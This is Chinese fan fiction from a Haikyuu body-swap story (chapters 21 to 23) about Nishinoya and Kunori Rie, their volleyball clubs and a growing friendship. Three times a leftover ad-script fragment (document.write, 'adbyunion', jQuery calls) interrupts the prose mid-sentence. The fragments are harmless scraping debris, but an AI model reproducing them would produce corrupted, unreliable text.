惊讶之余，九里绘不忘接上话题：“被发现了，不愧是你！” “这就是属于好兄弟之间无声的默契啊！”说罢，田中龙之介恢复了正常的表情，专心思索道，“不过能让阿谷你产生心事的理由，我一直没想到。” “要说是旭学长，旭学长已经回来了，当时你也很高兴。一年级的后辈们也很不错……那就不是和排球有关的心事。”田中尽力分析。 “对，不是排球部的事。”九里绘打断道，“既然是你，一定能理解我的想法吧，龙。” 要来了要来了，终于可以派上用场了。 她像是提前背完了考试的标准答案那样，在正式开考前情绪逐渐激动。 “……？”田中龙之介隐隐有种不祥的预感。 “这暂时是一个不能透露的秘密，而我有我的节奏。” “1年级2组，九里绘。”她相当熟练地喊出自己的名字，“答案在她身上，去问她吧。” 把所有问题放在两个人之间像垫球那样传来传去，就能完美避开撒谎和圆谎的后续隐患。 反正男排部成员们都认识自己，直接去问“九里绘”壳子里的西谷夕，是最简单不过的事了。 下一刻，田中龙之介的眼角飙出了泪水。 九里绘大惊失色：“！？？” 怎么回事啊！为什么会哭啊，这群打排球的人脑回路比她还难以琢磨的吗！？ 田中哇得一声抓住“西谷夕”的肩膀瞎晃：“这一天还是到来了…恭喜你，阿谷！” “你说得没错，这个世界上不会有比我更懂这种心情的人了。”田中龙之介竖起大拇指，蠢蠢欲动，“你这家伙可不许比我对洁子学姐的那份心意差，不顾一切地去追吧——” 九里绘似乎从他的眼睛里看到了和西谷爷爷一样的心情。 搞不懂，她实在是搞不懂。 算了，反正没人质疑过她不是西谷夕，应该不会有什么大事吧。 要真出了大事，再想办法道歉。 其他不熟悉的班里同学谁都可以……可九里绘唯独不想失去西谷夕这个朋友。 * 午练很快结束，回到教室，九里绘发现手机里多了十几条消息，都是来自西谷夕的场外求助。 原来女排部的大家喜欢在做放松的伸展运动时聊天，为了不冷落任何一个人，便会主动将装安静沉默的“九里绘”拉进话题的中心。 针对性的问题比如“喜欢吃什么东西”“有什么爱好”等等，问多了，西谷夕渐渐地没法找借口搪塞过去。 又不好意思胡说八道。 【辛苦了，西谷同学。】九里绘打字回复。 【西谷夕：九里同学也很辛苦！万分感谢！！】 【嗯？】 【啊啊啊说错了，是里绘！】 九里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绘心想，幸亏自己遇到的同学们都没有仔细追问下去，同学们好。 但是因为不想让新人孤独地坐冷板凳而特别关照的女排部成员们也好。 努力扮演自己的西谷好，九里也好。 大家都是好人！这就是九里绘朴实无华的价值观。 【下午我会随身带着手机，要是再碰到这种聊天……发给我，我来告诉你答案吧。】 夜幕降下。 巡逻老师敲响了第一体育馆的侧门：“别留得太晚，马上就要关灯关门了。” 同馆内的篮球部已经按时解散，道宫结连忙说：“是！我们再练一会就好，麻烦您了！” 雪菜萝丝接话：“放心啦，我们会记得关门的。” 西村纱奈累瘫在地：“不行了……我仿佛见到了我的太奶奶。” “放马过来！！” 镜头一转，是九里绘（西谷in）将中尾葵的发球高高垫起，并说：“好球！” 有栖川由梨的手往下举：“我作证，刚才那球要是不接的话肯定是擦线界内！” “小葵的跳发…真是深藏不露呢。”雪菜萝丝感慨道，“嘛，这样一来我们队就有两个跳发球了，某些人可不能输给后辈啊，你说呢结队长？” “不会输的。”道宫结点头应下，理所当然地说，“如果我不再是队里的最强，也就没资格以王牌的身份站在比赛场上。” 众人听了皆是一愣。 西村纱奈笑了起来：“某种意义上，结你也是个相当直白的排球脑啊。” “诶，是我、我说错话了吗？”道宫结吓一跳。 “没有，加油啊王牌——”雪菜萝丝尖锐的眼神瞟到想要偷偷溜走的“九里绘”，“小绘，快让队长看看你的超猛暴力跳发。” “！！”西谷夕定格在原地。 什么暴力跳发，里绘还会暴力跳发的吗？那么帅啊——不对这不是重点，重点是他可不会啊！ “今天还是算了吧，你们看九里学妹的脸色都累到变苍白了。”西村纱奈主动解围，“大家别忘了做拉伸，准备回去啦。” “——所以小绘为什么会突然间喜欢上打排球？”有栖川由梨闪现到旁边压腿。 “这个…说来话长。”西谷夕迅速拾起外套口袋里的手机编辑短信。 “那就长话短说！”有栖川由梨好奇又期待。 很快，手机的指示灯闪烁了两下，他收到了两条回复，于是找本宣读。 * “西谷的接球动作是不是有了些变化？” “似乎是在调试感觉，今天一开始他的状态不是很好，后面就一点点找回来了。还和旭学长多练了几组双人打防。” 闻言，东峰旭顿时变得失魂落魄：“西谷对练习很上心…但训练期间什么话都没有的样子真的很吓人。” “或许是我缺席了一个月的缘故，感觉西谷他的力量强了不少，再用力点恐怕手臂就不保了吧……” 东峰旭：“脸上也是毫无表情，想必是没有原谅我……” “诶？！！” “旭学长，旭学长有幽灵从你嘴里飘出来了啊——” 男排部的活动室里一阵鬼哭狼号，而真正的始作俑者“西谷夕”合上手机盖，驴头不对马嘴地说：“嗯，就是这样。” 离他最近的木下久志：“什么叫就是这样？我到底该从哪里开始吐槽？” 缘下力凑过来假装窥屏：“在看什么？表情相当专注啊。” “刚刚有人在跟我分享…她会喜欢上打排球的原因。”为了解答困惑，向来不撒谎的九里绘当场颠倒称谓。 “简单概括下来是这样的。” * “国中一年级的一天，我碰巧观摩了一场比赛，之后就在想，等结束了这一阶段的爱好，说不定可以尝试下排球。” 隔着屏幕与身体的距离，两个不同的灵魂将九里绘三年前一个不算是秘密的真相说出口。 “我是因为喜欢西谷才会对排球产生兴趣的。” * “总之，她的这句话应该没什么语序问题吧？”九里绘摊手，真诚地发问。 沉默。 男排活动室以与女排所在的第一体育馆同时陷入死一般的沉默。 而复述完答案的当事人“九里绘”回过神，猛地甩开手机把整个头埋进外套，只露出泛红的耳尖：“我什么也没说！！” “等等，这是我们可以免费听到的吗？” “结，结你学学人家九里——爱要大声说出来啊！” “大地学长，我可以揍这小子吗？” “西谷你这个背叛了组织的混蛋——！！！” 乌野排球部彻底混乱。 21.21章 21章——最不可能藏住心事的人有了秘密 九里绘那该死的现代文功底再一次给排球部众人带来了深深的震撼。 后来狡辩…不，是辩解了半天，人们才纷纷反应过来。 原来此“喜欢”非彼“喜欢”，不是那种带着粉色泡泡的暧昧氛围，而是更接近于夏天的水枪瞄准击中别人后飞溅出的水花。 “翔阳提过他开始打排球的故事吧。”九里绘指出了灵感来源。 “因为看到了电视上‘小巨人’的身姿，从而喜欢上了排球。” 所以她也是看到了西谷夕的身影后，把排球放进了感兴趣的考虑范围之内。 九里绘看着眼前这群表情逐渐狰狞起来的家伙，赶紧加快了语速：“我觉得…里绘真正想表达的意思是——我是她的‘小巨人’！” “她是我的粉丝！嗯！” 男排部捏紧的拳头缓缓放下。 几秒钟后，再次高高举起：“谁管你啊，你到底什么时候认识的九里学妹，还叫得那么亲切，从实招来——” 九里绘提起包落荒而逃。 与此同时，另外一边。 收到了简讯发来的具体解释，在角落里羞成一团球的西谷夕挣扎着拉回思绪，一字一句又磕磕绊绊地念完了消息。 直到最后一个音节落下，他才如释重负地趴倒在地板，头顶冒着蒸发后散出的热气。 “居然只是这样。”女排部被迫中止了吃瓜的心。 雪菜萝丝看上去格外失望：“排球脑果然不容易滋生爱情。” 道宫结不理解但尊重：“呃？呃嗯！” “说起西谷，是那位西谷学长吗？”中尾葵的侧重点也异于常人，“我记得他在国中时得过最佳自由人的奖，是一名很厉害的选手。” 学长！！ 有栖川由梨点头：“哦，怪不得能当小绘的排球偶像！” 才、才没有呢。 现场听到了别人对自己毫不掩饰的称赞，西谷夕感觉全身轻飘飘的，仿佛都能忘记刚才发生的一切。 ……不可能忘掉的啊！ 当时，他的心脏都快从嗓子眼里跳出来…吓死，差点以为真的要被女生告白了。 但一联想到是九里绘，好像无论发生什么都能说得过去。 西谷夕重新摆出拉伸的姿势，再次回到话题的边缘地带，尽量放空大脑冥想，视线往前看… 咦？ 只见他正前方的那扇窗户赫然出现了一张最为熟悉的脸。 没抹的发胶，冷酷的神情，甚至可以想象到墙的背后是一跃而起，并用手指死死扒住窗沿的九里绘。 空出一只手，九里绘比了个抹脖子的动作。 西谷夕的眼神分外惊恐，表示：不行啊！不能因为她们都听到了那句话就灭口啊！ 九里绘沉思了一会，开始抹鼻子。 “！？”西谷夕更加吃惊地指了指自己，然后嘴角止不住地颤抖：先灭口我吗？真的假的？ “……”九里绘放弃了，单方面结束了这毫无默契的比划环节。 倒是总爱安静观察别人的中尾葵发现了西谷夕那边的动静，问：“小绘，是你的外套在震动吗？” 再次翻开手机，西谷夕终于收到了准确的指示。 【里绘：照着我说的念吧。】 “电视台采访新秀时，往往会得到‘憧憬某个明星前辈，从而努力走上了这条道路’类似的答案。” “为什么外面的大部分人都觉得，我不该大大方方地承认我的心中也有这样一位强大的前辈呢？” “并且总是容易往恋爱方面的话题去想。” 借由自己的身体之口，窗外的九里绘发出疑问：“就因为他恰好是异性，所以我就应该认为这种事情是羞耻的吗？是耻于说出口的吗？” “有时候，大多数人的想法真的很难懂。” “我懂你的意思小绘！”有栖川由梨说，“简直不要太熟悉啊，我读小学国中的时候也经常遇见。” 有栖川由梨叉腰：“像是背后随便评价我的身高，还指指点点说长那么高肯定找不到交往对象。” “认为喜欢排球这项爱好不够‘女生’……‘女生’会更多选择手工插花，或是家政之类的。”中尾葵很顺畅地接道。 深有体会的雪菜萝丝点点头：“更离谱的当属那群认为女性吃红薯都是羞耻的家伙，他们是怎么存活在这个时代的？” “雪菜肉丝学姐！”有栖川由梨开心地和她击掌，“所以我说了，排球之外的人类都是敌人嘛。” “是雪菜萝丝不是雪菜肉丝！” 西村纱奈半是调侃地指出：“‘都是敌人’这种说法太偏激了。” “就得偏激点才好，不偏激的话就没有攻击性，不够锋利就会有人当成笑话，装听不见我的声音。可恶！” 话音未落，有栖川由梨因为掰腿太使劲而发出了惨叫。 引发了周围人的一阵哄笑。 感觉身体肌肉舒展得差不多，西谷夕先一步起身，礼貌示意：“道宫学姐，我先回去了。” “好的，小绘路上注意安全。”道宫结想了想，又说，“明天会有黄金周的集训通知，记得下周不要安排其它的活动。” “我明白的。” “小绘！” “还有什么事吗，道宫学姐？” “嗯……”在雪菜萝丝的半推半就下，道宫结鼓起勇气说道，“不用在意外界的看法，如果觉得有事想不通，就来排球部分享。” “好。”西谷夕偷偷瞄了眼窗外，九里绘或许听见了吧。 反正不管听没听见，他都会把这些话记住，然后完整地复述给她。 刚要去碰门把手，就听见哐当一声，侧门被人拉开了。 门外，是真正的九里绘丝毫不关注外界的目光，大声喊道：“里绘，go！！！” 遂握住手腕转身就跑。 徒留剩下的女排部成员在寂静的空气中凌乱。 * 俗话说得好，九里绘只需要完成每天的接球和救球特训就可以，而西谷夕要顾虑的事情就多了。 她推西谷夕去换衣服，自己则是蹲守在女子更衣室门口催促。 成功赶在负责老师巡逻到这一带前，拽着面红耳赤的西谷夕的手腕跨出了校门。 但是九里绘不急着回去，或者说她不太想回去。 因为一回到西谷家，就极有可能要面对完全不认识的西谷夕的家人，尤其是爷爷。 在亲近的家人面前要想用演技蒙混过关，未免也太困难了点……九里绘很苦恼。 “我请里绘吃棒冰吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ！”然后她就听见西谷夕用清亮的嗓音如此说道。 九里绘咻得一下把脑袋转向他：！ “你，干得好啊。”九里绘握住了不回家的救命稻草，攥住他的袖口就要跑上坡。 “等等，不是你想的那个方向！”西谷夕急忙原地刹车。 “？”九里绘疑惑，但很快就想通了，松开手指，“哦，不是我以前常去的店。” “那个方向的街道没有嘎哩嘎哩君卖啦。”西谷夕说，“而且店铺的类型很少，不如去坂下。” “不论怎么看都是坂下离学校更近吧，为什么九里同学第一时间想到的是其它地方？”西谷夕终于问出了他们认识第一次起就好奇的问题。 讲着讲着，西谷夕突然灵光一闪，自行做出猜测：“对了！九里同学的家和我家正好在两个方向，因为不顺路，所以就没把坂下考虑在内。” “回答错误。”九里绘伸出左手食指，在空中晃了晃。 西谷夕讶异：“诶？？” 九里绘撇撇嘴，额头蒙上了一层黑色的阴影：“正确答案是我的运气很差，吃嘎哩嘎哩君三年来从没有中过奖…学校附近也一样。” “于是气急败坏迁怒于坂下商店，再也没去过那里。” “三年都没中过‘再来一根’吗？？不可能的吧！” 西谷夕惊讶。 西谷夕思考。 西谷夕的脸上出现了对不可思议的质疑。 西谷夕一头扎进了坂下商店，并在二十秒内速通购物结束，带着两根棒冰拍到九里绘的手上。 瞅了眼包装纸，一根是苏打味，另一根...也是苏打味。 九里绘想当然地递过去一袋，却见西谷夕摆手，他使劲往回推，焦急地说：“你吃两根！！” 此话一经出口，气质上的热血浑然天成，西谷夕看起来在质疑这件事上格外认真，想同时挑战科学和玄学。 燃…燃起来了！ 那一刻，九里绘觉得自己的身躯莫名承载起了他人的勇气与决心。 她一心急，直接在包装纸的边缘咬出了半圈牙印。 “……”松口，假装无事发生。 撕开包装袋，重新一口咬下。 嘎嘣、嘎嘣。 冰凉酥脆的口感在舌尖上蔓延，九里绘奋力地咬着棒冰，没过多久，她那闲不下来的老毛病又犯了。 该说什么好呢，算了，凭直觉上吧。 “西谷同学，你有话要跟我说吗？”一不留神变成了反问句。 西谷夕打起精神：“有的！” “3v3的新生赛定在黄金周进行，西村学姐觉得你太辛苦了建议你不要过度训练，还有道宫学姐说……” “‘不要在意外界的目光，有事尽管来队伍里，我们会帮你撑腰的。’”西谷夕悄悄把自己的理解加入到原句内。 “好，我记住学姐们的提醒了。”九里绘轻声说，“那么西谷，你有话要跟我说吗？” 依旧是一模一样的反问句，九里绘总是会在不经意间变得格外敏锐。 西谷夕停下了脚步。 他的眼神在一瞬间变得慌乱，随后匆忙掩饰着什么，手指无意识地拽着衣袖，脸色绯红。 仿佛有秘密在心底翻滚，随时可能涌出。 ……要告诉她吗？ 22.22章 22章——用那双炙热的眼睛 思维像是被滴落下来的黏糊糊糖水堵得严严实实。 ——是不是夏天快要到来了呢？棒冰融化的时间越来越快了。 拼命动脑筋的西谷夕无端想到。 于是他追随直觉说：“今天的里绘果然也很漂亮啊！！” 说出来了…结果最后还是说出来了！ 九里绘笑了：“谢谢，我知道。” 一旦起了头，西谷夕便紧追不舍：“有件事，我要向你道歉！” “道歉？没必要吧。”九里绘下意识困惑地反驳，她顿了顿，决定先尊重西谷夕的做法，“好吧，具体什么事？” 西谷夕：“我不该擅自替里绘做决定的。” “得知里绘喜欢上打排球，我很高兴！一时冲动只顾着邀请里绘来当自由人了——在这件事上完全是我的失误！”他郑重地鞠躬致歉。 “天空不是属于我的战场，可你不同。想要担任什么位置、如何去打心目中的排球，都是里绘个人的决定，千万不能够因为我的话而影响了自己的判断。” “也不能是为了我、我…”西谷夕的脸通红，“是我的粉丝所以必须去当自由人，没有这种道理的……” “西谷，好容易慌张。”九里绘好奇地说，“明明我没有过什么害羞的经历，西谷却能直接用我的身体反映出来。” “……！！！” “容易害羞的理由，是因为我是异性吗？”她问。 关于这点，此刻的西谷夕非常有发言权。 其实在身体互换期间，他经常能够通过对视，看见九里绘原本的身影。 因为九里绘的眼神很特别，不论灵魂在哪里，不管面对谁，她的目光永远是坚定的、直视他人的。 借由那双眼睛，西谷夕能够在倒影中将灵魂与躯壳——将完整的她对应起来。 缺一项都不行，才能造就今天那句自然而然出现在嘴边的“里绘果然很漂亮”。 “因为实在不想在里绘面前撒谎……”西谷夕别过脸，艰难地组织语言，“就是那个、那个青春期的缘故，无法忽略掉性别。” 闭眼下定决心，飞快地说：“毕竟里绘既帅气，又酷到不行，我也很喜欢嘛。” 冷静冷静冷静，谨记谨记谨记，“喜欢”在里绘的词典里是起到单纯的夸赞用途！！ “好的，我明白了。”九里绘点点头。 她想了想，压着嗓子小声说：“我也有话想跟西谷同学说。” “我们认识到现在，西谷应该不会再觉得我麻烦和讨厌了吧。” “为什么话题会牵扯到麻烦和讨厌…等等，你为什么觉得我会这样想？”西谷夕收起他不安分的小动作，转而问道。 “我喜欢说废话，乱用比喻，还找不到合适的话题。”九里绘适当地隐瞒了一些，“再过分一点，经常会说出一些让人产生误会的句子。” “和我聊天的人通常觉得很累，要不了多久就该开始生气了。” 听她阐述的过程中，西谷夕默不作声地把拆下来的包装纸团成球，裹着吃完的棒冰棍一起精准丢入垃圾桶。 “不会。”回答和飘进垃圾桶的纸团子一起到来。 接着，他看向九里绘，认真地说：“别人的想法不是重点，重点是强迫自己闭上嘴后，感到最累的人其实也是你。” “里绘其实是十分、非常乐意，且喜欢和人讲话的性格才对！” 没有任何多余的弯弯绕绕，过于直白的话让九里绘一时之间没能习惯：“…是这样没错。” “那就对了！！” 西谷夕像是发现了什么新大陆一样，竖起的食指指尖仿佛能戳破夜空。 “总之，想说什么就说什么才是里绘你的最佳状态！” 点向她：“既然如此，不管别人怎么想，和我相处时尽管保持你的最佳状态好了！” 九里绘一下子揪住关键要点：“意思是你不讨厌和我聊天…你愿意一直、一直听我讲废话嘛！” “怎么可能会讨厌？”西谷夕咧了咧嘴，“我非常高兴能够认识你啊，里绘。至于你口中的所谓‘废话’……” 手心面朝自己，西谷夕用力一握，自信满满地说：“通通可以拿下！” 太刺激了，同时喊出和听见那么大的音量对她而言实在是过于刺激了。 一次主动换来的是自动开启暴走模式。 九里绘的心跳立即提速，全身都在微微颤抖：“所以我们的关系是算比较熟悉的认识的人了吗！？” “啊？名称太长了，干脆就叫挚友吧！”西谷夕叉腰宣布，“你都同意我叫你的昵称了诶！” “进、进展如此迅速？！”九里绘震惊。 僵在脸上惊呆的表情还没来得及收回，西谷夕当即就用双手拍住她的肩膀。 “还有什么问题你快趁现在一口气说完，不要把烦恼留给第二天！” 九里绘也不再踌躇不定，遂道：“如果不是突如其来的互换身体，我和西谷你也不会认识——” “不是你的错！！”西谷夕似乎早就猜到她要说什么，迅速打断，“都是魔法的错啦，magic！” 九里绘懵懵的：“还有灵异吧…等等，灵异的英文怎么拼来着？” 西谷夕大声：“不知道！我也拼不出来就没说！！！” “好逊！噗嗤——咳咳咳！！”九里绘在喷出声时不慎呛到了自己。 西谷夕赶紧帮着拍后背。 “咳咳咳咳…！！！！” 西谷夕拍背的手愈发慌乱了，吵吵闹闹的对话暂且按下了暂停键。 中场休息。 过了一会儿，九里绘抱着水杯，埋头蹲在路边，好不容易缓过劲来。 “解脱了……”她说。 在二人不远处的窗檐上，有两只山雀正叽叽喳喳地叫唤着，它们小幅度跳跃、挨近，最后羽毛交错在一起，挤向对方。 其中一只的足尖在某一刻打滑，突然间掉了下去，在半空扑棱起翅膀，慢慢地返回窗檐。 打滑的那只山雀趁此机会和另一只贴得更近了些。 就在这个时候，九里绘也打定了主意，将心中隐瞒的那部分真实想法表达出来。 “最后，我想拜托西谷一件事。”九里绘起身，一边拆开第二袋棒冰，一边强装镇定地开口。 西谷夕气势十足：“尽管放马过来！” 九里绘抹了抹嘴，故意没有看他，而是平静地看着前方空旷的道路：“即使后面还会有换不回来的情况，也还请西谷不要有停止练习排球的想法。” “请拼命去练习，即便练得整个人都像冰棍一样累到化掉，融化在体育馆的地板上，也千万不要停下。” “因为……希望认识的每一个人都能活出自己喜欢的精彩人生——这件事对我而言尤其重要。”九里绘郑重道。 她有过一段学习竞技体育的经历，把训练时所受的伤视作家常便饭。 依稀记得国中时期的一大批同学们就无法理解她的做法。 夏天在教室脱去外套，他们扫过她四肢上醒目的训练伤，以及眼角刚摔出的划痕，毫不克制地碎嘴：“皮肤变成这样…就不好看了……” “破相好恶……” 她当然不会在意别人的目光，只是落到耳朵里听久了难免会心情不爽。 这些年来，九里绘自行领悟到的第一个人生大道理就是：大多数人都是些欺软怕硬的软蛋。 于是，她会神情冷漠地走过去，一脚踹在那人的桌椅上：“再喊大声点，你没吃饭吗？” 然后对方就会闭嘴，至少在她能听到的范围内不敢继续开口。 九里绘跟他们不是一路人，再加上运气不好，在升入高中前，这种人才是她能接触到的“大多数”。 于是便不需要半点犹豫，九里绘主动远离他们，成为了独行侠。 她不会因为这种毫无意义的理由而感到落寞和伤心，比起被孤立，更像是她单方面孤立了所有人。 真心…九里绘的人生格言亦是：遵从自己的内心是最重要的。 * 后面应该怎么说下去呢。 九里绘沉默。 九里绘思考。 九里绘的脸上出现了匪夷所思的紧锁眉头！ 九里绘扭捏地看向别的地方。 她忽然转身，一脸严肃地往西谷夕的方向步步逼近。 西谷夕下意识抬起眉眼，站在原地回以专注的对视。 “西谷同学的小臂、膝盖附近的淤青都非常酷炫，简直就像游戏副本通关掉落的boss奖励一样，是勇者的勋章。”九里绘说。 “很帅…！”九里绘情绪激动地抖着嘴，“我想多看看！” “所以无论怎么受伤都可以，只要没有出血…不，流出的血能用纸巾简单擦拭干净，就不算是受伤。”九里绘握拳，“我还想看西谷继续打排球的样子。” 九里绘放声大喊：“至少在你彻底讨厌打排球之前，千万不要对我的身体手下留情！” 世界安静了。 【运气真好啊。】不知为何，九里绘的脑袋里浮现出这样的想法。 【幸好互换身体的对象是西谷同学。】 是别的人就不行…别的男高更不行。 虽然西谷夕和多数男高一样，谈及异性的话题就会脸红羞涩，看似很不靠谱。 但他会煞有其事地说守护好她的身体，未经允许不会擅自做奇怪的事。 会叮嘱她好好吃饭，努力替她考出英语的及格分，从来没有抱怨过互换身体后的任何不自在。 分明他也是一个主体，却在面对她的时候，忘掉了自己，毫不犹豫地为她考虑。 更加重要的是…… 她引以为傲的个性落在他的眼里，同样也是闪闪发光的。 九里绘不知道该如何去形容这份感觉，她费尽心思去钻牛角尖，到头来只能像个无头苍蝇一样四处撞墙。 明明才正式认识不到一个月…… 明明，西谷夕的形象在很长的一段时间里，只不过是存在于那年比赛场上不经意的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一瞥，她单纯把他当成了一个有意思的、适合活在想象中的人物，就和漫画一样。 可是现在的感觉不一样了。 西谷夕他呀，完全就像一把利刃那样刺穿了名为现实与想象的分界线。 九里绘的直觉隐约在头顶响起警报，叫嚣着有不明陌生情绪的入侵。 “好啊。”短暂的沉寂后，西谷夕开口。 “绝——对——会拼尽全力打下去！”西谷夕大声喊叫着，将拇指利落地朝向自己，眉眼之间是无法被躯壳所束缚的锐气与锋芒，“有你这句话就足够了！！” “你可一定要好好看着啊！！！” 手背传来了滴滴答答的触感，是许久未动的棒冰融化了顶端。 九里绘低下头，看向手中的细棍，用纸巾擦拭干净。 【——西谷夕是特别的。】心头迅速窜出一句话。 她愣住半晌，在西谷夕即将爆发出欢呼声前，用很轻的嗓音回应道： “啊，棒冰中奖了。” “真是意外……我的运气真好。” * 九里绘抬起左手，思索了一下还是切换成右手，竖起小拇指。 “那就做个约定吧，我答应西谷，不会在意别人的看法，不去被别人的判断影响，永远做好我自己，听从内心的声音。” “你也要一直这样，不要变成没有意思的人。” 微微抬起头，在西谷夕的眼中，他见到了那副足以让他铭记一生的画面。 九里绘紧紧盯着右手的掌心，没有多余的精力回应他。 恰恰是没有回应。 恰恰是她从始至终都聚精会神地盯着手掌附近因排球造成的伤口，下意识攥紧的拳头，双手轻微向下压腕。 眼眸里翻涌着喧闹的、说不清道不明的情绪。 西谷夕依稀能明白那种情绪是什么，有一种令人熟悉的感觉。 在他第一次因偶然路过碰见了户外的排球赛，看得根本挪不开眼时，被身边的小伙伴拍了拍背，好笑地问他怎么了，安静得不像本人。 “（——）”西谷夕扭过头，在经过短暂但又不乏认真的思索后坚定地说出了一句话。 现在那句话——那份情绪——那副表情，与此刻的九里绘重合了。 幸运的是，他恰好成为了那个目睹一切的见证者。 西谷夕屏住呼吸，压抑着内心的躁动，静静等待着后文。 “我忽然很明确地意识到…打排球好有意思，当自由人也好有趣，是我的个人意志选择了自由人。”九里绘垂下眼，声音在寂静中的空气中格外清朗。 “——这种有趣只属于你一个人的话，未免太可惜了。” “西谷夕。” 九里绘笑了笑，抿起后上扬的嘴角仿若载满了星辰与月光。 “我会是乌野的自由人，你就好好看着吧！” 西谷夕的心跳声宛如击鼓般震耳欲聋。 他晕乎乎地伸出小指去拉勾：“…好。” 拜托了，神明大人啊…… 告诉他这究竟是什么样的感情吧。 “别管外人怎么看待我们了。”松开手，心情超棒的九里绘高兴地散发出小花，“就算有一千万个人阻止我遇见你，西谷也是我认识至今最棒的挚友！” 西谷夕不自觉地被吸引过去。 寻常的词汇已经无法具体地表达出她在他心目中的感觉，用美丽过于单薄，用可爱却又太过于建立在异性的刻板印象。 想了许久，最终从一片专门储存四字熟语的记忆深处找到了答案。 ——九里绘，是一位相当意气风发的少年。 “我们去打排球吧！挚友！” 西谷夕的思路一断，下意识答：“好！！” 等等不对。 哪里好了？？？ 心脏跳得仿佛胸膛快要炸开了，可恶啊，怎么想这都不会是单纯的好朋友吧！！？ * 由“再来一根”兑换的苏打味棒冰最后落到了外表是乌黑长发的女生手中。 西谷夕叼着棒冰，慢吞吞地小口小口嚼，鼻音哼歌，看起来比他自己中了奖还开心。 九里绘跟在旁边，稍慢半步，眼睛直勾勾地盯着他的背影。 她还想继续说些什么，悬起的左手不自觉地在半空轻握。 这个动作想必是被误解成了某种信号，下一秒，西谷夕的余光注意到她，遂侧过身，握起右手与她碰拳。 在西谷夕开朗生动的笑容面前，九里绘眼底的神色微动，心底的掌控与占有欲悄无声息地滋长。 我会以自己的方式，一直看着你。 【而我……迟早有一天，一定会让你用同样的方式看向我。】 【——用那双炙热的眼睛。】 那年春天，高中一年级，九里绘的“空窗期”结束了。 “热恋期”开始了——指对（zi）排（you）球（ren）。 同时，距离西谷夕下定决心并完成对九里绘的第一次告白，还剩三十五天。 23.23章 23章——才能，初见端倪 九里绘起晚了。 手机闹铃在枕边震天响，她浑然不知，直到两个小时过去，为了上班而早起的九里澄子发现桌上的便当盒还在，赶到床边把人摇醒。 “绘，上学要迟到了哦。” 没有动。 “绘，你的社团晨练错过了！” 肌肉记忆比意识先作出反应，九里绘从床上蹦起，面露茫然。 在卫生间刷牙的时候，九里澄子帮她在背后绑头发。 九里澄子依稀记得女儿国中的发型偏爱往高处扎，扎成高马尾，上高中后位置一路向下滑，黑色的发尾越剪越短，勉强耷拉在脖颈。 想到刚才的起床事件，妈妈语气轻快地说：“我们的绘也有了高中阶段最热爱的社团啦。” “唔，是排球。”被强制开机的九里绘迷迷糊糊地抓着牙刷，眼睛一半睁开一半眯起。 九里澄子回忆过往：“国中一年级的时候不是有人邀请你去打排球，你当场拒绝了吗？” “今天、今…今时不同往日。”脑袋里不知从何处弹出一句俗语，九里绘口齿不清地说，“那时候不想打，现在想打，我是很专一的。” 九里澄子似有所感道：“嗯嗯这个我知道，是‘引路人’的区别吧。” “妈妈。” 九里绘继续说：“教我打排球的几位前辈人挺不错，新认识的朋友对待排球训练也很认真，我想请他们到家玩。” “好啊，热烈欢迎。”九里澄子绑完了头发，“社团活动结束得很晚吧，干脆叫他们留下来吃晚餐。” 九里绘犹豫了一下，诚恳地发问：“妈妈，你觉得把外卖或者便利店的盒饭拆出来放进我们家的碗盆里，再端到桌上，可以让他们看不出来吗？” 九里澄子心虚地挪开视线：“……也许直接在外面吃会更方便。” * 结束了一天的课程，九里绘在更衣室换完运动装，带着毛巾和随身包进入体育馆。 面前有一张没见过的陌生脸推了推厚重的红框眼镜，问旁人：“现在到的是名单上的哪位同学？” 回答她的是二年级的月见里纱希，指着纸张的末尾说：“1年级的九里绘，望月老师，在这里。” “那个人是我们素未谋面的指导老师。” 为了能做完自编的复杂热身操，提前翘了五分钟课先来的有栖川由梨说：“都开学一个月了才来，好神奇。现在做的应该就是传说中的签到吧，我只见过学生会的人用。” 中尾葵跟在九里绘的后脚到，刚抬起的手忽然放下，欲言又止，开启了社恐模式。 十分钟后，年轻的望月老师合上了名单册。 “我是负责女子排球部的望月加代，接下去的一年里请多关照。”她做出标准化的鞠躬。 整完队的女排部众人愣了一秒，急忙回礼：“请多指教！” “我不懂排球规则，今天以前也从未看过正经的排球赛事。”望月加代说，“目前的能力只够做些微不足道的小事，有什么疑问的话可以我会尽力解答。” “望月老师！”有栖川由梨大胆举手，“您怎么一个月了才来啊？” “因为，办公室那边，把我给忘掉了。”望月加代一字一顿专注地说明，“同时，他们也忘记了排球部，需要一位新的指导老师这回事。” “之后才想起了存在感不高的我，匆忙上阵。” 解释完毕，望月加代觉得自己应该幽默一把：“存在感不高的我来到了存在感不高的这里，很好的组合，感觉能打bo（连击）。” 天花板上仿佛有一群乌鸦飞过。 望月加代垂下头，心情沮丧：“冷场了。” “没有！不用在意！”雪菜萝丝尖叫，“我们已经习惯没人没钱没存在感了，望月老师的冷笑话让人感觉透心凉，心飞扬，很新奇的体验！” 月见里纱希偷笑：“雪菜学姐像个平等地溺爱所有人的妈咪。” “谢谢雪菜同学的鼓励。”望月加代肉眼可见地重新振作精神，“话又说回来，我希望我所在的社团，所有人都不需要妄自菲薄。” “‘没有存在感’的评价仅仅是流露于表象的东西，会因为简单的表象而做出点评的人不了解我们，甚至不认识我们，他们只是喜欢指点而已。” “你们今后可能会遇见很多类似这样的人，还有你们未来的对手、朋友，和更多复杂且具体的人类，所谓‘人贵自重’，就是在任何情况下都能尊重和珍惜自己。” 女学生们心下动容，齐声喊道：“是！” “报告，望月老师，我有疑问。”九里绘在队列中突然举手，“妄自菲薄是什么意思？” 望月加代满脸写着疑惑：“？” “是我的错。”月见里纱希羞愧地捂住脸，“我忘了在介绍大家的信息时特别说明九里学妹的糟糕国文水平了。” “抱歉，以后的讲话，我会避开复杂的词汇。”望月加代深刻反省道。 “望月老师，不要为了这种小事反省啊……” 中尾葵小声解释：“妄自菲薄是过分小看自己的能力，自卑，没有自信的意思。” “哦——”九里绘恍然大悟地拖起长调，“怪不得我没听过。” “因为和我没关系。”她莫名自信。 “……排球脑的境界对我来说还是太残酷了。”中尾葵暗自心碎。 